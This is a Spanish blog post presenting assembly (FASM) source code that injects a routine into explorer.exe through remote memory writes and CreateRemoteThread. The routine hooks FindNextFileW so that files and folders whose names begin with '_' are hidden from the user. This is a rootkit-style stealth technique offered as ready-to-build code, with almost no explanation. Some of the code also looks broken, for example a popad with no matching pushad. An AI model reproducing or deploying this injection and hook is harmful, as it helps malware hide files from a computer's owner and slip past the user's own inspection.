martes, 12 de febrero de 2013

Ocultar Files Hook Api FindNextFile [ASM]

En este caso oculta los archivos y carpetas que comiencen por la letra "_" en el proceso explorer.exe
ocultar.asm

format pe; console
 entry start
 include 'win32ax.inc'


;-------------Code Seccion---------------------------------
 section '.code' code readable executable

start:
 stdcall GetPID,Proceso

 stdcall Inyectar,addr Proceso,FINFuncion-FuncionInyectada,FuncionInyectada,[GetProcAddress]
 cmp eax,-1
 jne salir
 
 invoke MessageBoxA,0,"No se encontró el proceso!",0,0
 
 salir:
 invoke ExitProcess,0




proc Inyectar,ProcessName,Tamaño,Funcion,Datos
     ;Lazamos el proceso
     invoke OpenProcess,PROCESS_CREATE_THREAD+PROCESS_VM_OPERATION+PROCESS_VM_WRITE,FALSE,[PID]
   mov [hProcess],eax
 
   ;Reservamos espacio en el proceso
   invoke VirtualAllocEx,[hProcess],0,[Tamaño],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
   mov [DirFuncion],eax
 
   ;Escribimos los datos en memoria
   invoke WriteProcessMemory,[hProcess],[DirFuncion],[Funcion],[Tamaño],0
 
   ;Creamos el hilo
   invoke CreateRemoteThread,[hProcess],0,0,[DirFuncion],[Datos],0,0
   popad
   mov eax,1
   ret




endp


proc FuncionInyectada,pGetProcAddress
 
    locals
 BaseKernel32         dd  ?
 OriginalProtection        dd  ?
    endl
 
    ;Leemos el PEB  para obtener la base de KERNEL32.DLL
    xor  eax, eax
    add  eax,[fs:eax+30h]
    mov  eax, [eax + 0ch]
    mov  esi, [eax + 1ch]
    lodsd
    mov  eax, [eax + 08h]
    mov [BaseKernel32],eax
 
    ;Obtenemos la dirección de FindNextFileW
    stdcall [pGetProcAddress],[BaseKernel32],'FindNextFileW'
    mov ebx,eax

 ;Obtenemos la dirección de VirtualProtect
    stdcall [pGetProcAddress],[BaseKernel32],"VirtualProtect"
    stdcall eax,ebx,7,PAGE_EXECUTE_READWRITE,addr OriginalProtection
 
    ;Obtenemos Delta Offset
    call delta
    delta:
    pop edx
    sub edx,delta
    push edx
 
    ;Movemos la direccion de FIndNextFileW
    add edx,dirFindNextFileW
    mov dword[edx],ebx
 
    pop edx
 
    mov ecx,edx
    add ecx,ApiOriginal
    mov al,byte[ebx]
    mov byte[ecx],al
    mov byte[ebx],0xE9  ;0xE9 es igual a jmp
    inc ebx
    inc ecx
 
    mov eax,dword[ebx]
    mov dword[ecx],eax
    mov eax,FuncionHook
    add eax,edx
    sub eax,ebx
    sub eax,4
    mov dword[ebx],eax  ;guardamos en ebx la direccion a la que saltara
 
    add ebx,4
    add ecx,4
 
    mov ax,word[ebx]
    mov word[ecx],ax
 
    mov word[ebx],0x9090
 
    ret
 
    ;7 primeros bytes de la Api FindNextFileW y una rutina para saltar a FindNextFileW+7
    ApiOriginal:
 ;edx=delta
 ;7 nops que cambiaremos en tiempo de ejecución por los 7 primeros bytes de FindNextFileW
 nop
 nop
 nop
 nop
 nop
 nop
 nop
 
 add edx,dirFindNextFileW
 mov eax,dword[edx]
 add eax,7     ;Nos desplazamos 7 bytes
 jmp eax      ;Saltamos a FindNextFileW+7
 

    ;Funcion Hookeada
    proc FuncionHook,hFindFile,lpFindFileData
 Volver:

 call delta2
 delta2:
 pop edx
 sub edx,delta2
 

 push [lpFindFileData]
 push [hFindFile]
 mov ecx,edx
 add ecx,ApiOriginal
 call ecx
 cmp eax,0
 je Retornar
 
 mov ebx,[lpFindFileData]
 add ebx,44

 cmp byte[ebx],'_' ;Comparamos si el file empieza por el caracter _ si es asi saltamos a l inicio y pedimos un siguiente file de lo contrario lo mostramos
 jne Retornar
 jmp Volver
 
 Retornar:
 ret
   endp
;-------------------------------------------------------------------------------------------------------------------------------------------
 
 dirFindNextFileW    dd     ?
endp
 
FINFuncion:

proc GetPID ProcessName

 mov    [pInfo.dwSize],sizeof.PROCESSENTRY32
 invoke CreateToolhelp32Snapshot,2, 0
 mov    [hProcesos], eax

 invoke Process32First,[hProcesos],pInfo
.loop:
 mov    edi,Proceso
 invoke StrStrI,pInfo.szExeFile, edi
 cmp    eax,0
 je     .next
 jmp   get
.next:
 invoke Process32Next,[hProcesos],pInfo
 cmp    eax,0
 jne    .loop
 ccall [printf],'Proceso no encontrado'
 ccall [getchar]
 invoke ExitProcess,0
get:
 push [pInfo.th32ProcessID]
 pop [PID]
 ccall [printf],'%s :%d',addr Proceso,[PID],0Ah
 ccall [getchar]
 ret
endp

;-------------Data Seccion---------------------------------
section '.data' data readable writeable

 struct PROCESSENTRY32
        dwSize dd ?
        cntUsage dd ?
        th32ProcessID dd ?
        th32DefaultHeapID dd ?
        th32ModuleID dd ?
        cntThreads dd ?
        th32ParentProcessID dd ?
        pcPriClassBase dd ?
        dwFlags dd ?
        szExeFile rb MAX_PATH
 ends

 struct Datos
        sBufferCall dd ?
 ends

 dat Datos ?
 pInfo PROCESSENTRY32 ?
 hProcesos dd ?
 Proceso db 'explorer.exe',0
 Handle         dd          ?
       PID         dd          ?
       DirFuncion        dd          ?
       hProcess         dd          ?
       Tamaño dd ?





;-------------Import Data Seccion---------------------------------
section '.idata' import data readable writeable
library msvcrt, 'msvcrt.dll', kernel32, 'kernel32.dll',advapi32,'ADVAPI32.DLL',shell32,'SHELL32.DLL',user32,'user32.dll'
import msvcrt, printf, 'printf', getchar,'getchar', scanf,'scanf'


include 'API\shell32.inc'
include 'API\kernel32.inc'
include 'API\USER32.INC'




No hay comentarios:

Publicar un comentario